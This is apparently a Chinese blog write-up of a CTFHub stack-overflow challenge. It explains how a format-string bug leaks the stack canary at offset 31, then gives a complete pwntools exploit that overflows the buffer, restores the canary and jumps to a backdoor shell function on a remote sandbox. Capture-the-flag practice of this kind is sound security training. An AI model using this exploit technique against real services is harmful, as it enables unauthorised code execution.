CTFHub-栈溢出-leak canary

0x00

checksec:

05dda15c86b842b48e2b31e4dd561f75.png

32位程序,开启NX和canary

0x01

运行程序查看流程

15fb6c57cab24bd8beb368a05e7a6d15.png

有两次输入,并且将输入内容进行输出打印

IDA看一下伪代码

9bebb109391940adb64f76f27485bfe4.png

d41abcc3166849f1a6599a84a8b919ba.png

unsigned int vuln()
{
  int i; // [esp+4h] [ebp-74h]
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  for ( i = 0; i <= 1; ++i )
  {
    read(0, buf, 0x200u);  <=栈溢出漏洞·
    printf(buf);           <=格式化字符串漏洞
  }
  return __readgsdword(0x14u) ^ v3;
}

存在一个栈溢出漏洞和一个格式化字符串漏洞,同时发现还有个后门函数

32c33454f88e43529689cfdab7c81009.png

初步想法,第一次输入利用格式化字符串漏洞泄露canary的值,第二次输出利用栈溢出漏洞覆盖返回地址,执行shell函数

0x02

首先是泄露canary的值,要确定cannary在栈上的位置。

思路一:先泄露buf变量的偏移,再用通过计算buf和canary之间的确定canary的偏移

2931298790b74e2181c8a2e6ec953d41.png

通过aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p可以发现buf的偏移量为6(即打印字符时第6个变量,从第0个变量开始计算)

3e29cf955f4042cf924a077936926b14.png

验证一下,符合计算

然后通过buf和canary的相对地址进行计算(0x70-0xC)得到相对偏移为100个字节,因为是32位系统,得到相对偏移量为100/4=25,则canary的偏移量为6+25=31,利用%31$p即可泄露出canary的值

思路二:利用gdb本地调试,直接打印出canary的值,然后打印出栈上所有的值,找到canary在其中相对与esp的偏移量,也能得到偏移量为31(从第0个开始计算,实际上是第32个变量)

泄露出canary的值后思路与正常栈溢出一致,shell函数地址在ida中直接查看即可

0x03

exp

from  pwn import *

#r = process("./pwn")
r= remote("challenge-fe220b24e6d3d94a.sandbox.ctfhub.com",29973)

system_addr = 0x80485a6
r.recvline()
r.sendline(b'%31$x')
canary = int(r.recv(8),16)


payload = b"a"*(0x70 - 0xC)
payload += p32(canary)
payload += b"a"*(0x8 + 0x4)   //canary的值为4字节,因此距离ret地址0xC-0x4+0x4
payload += p32(system_addr)


r.sendline(payload)
r.interactive()

 

 

  • 10
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值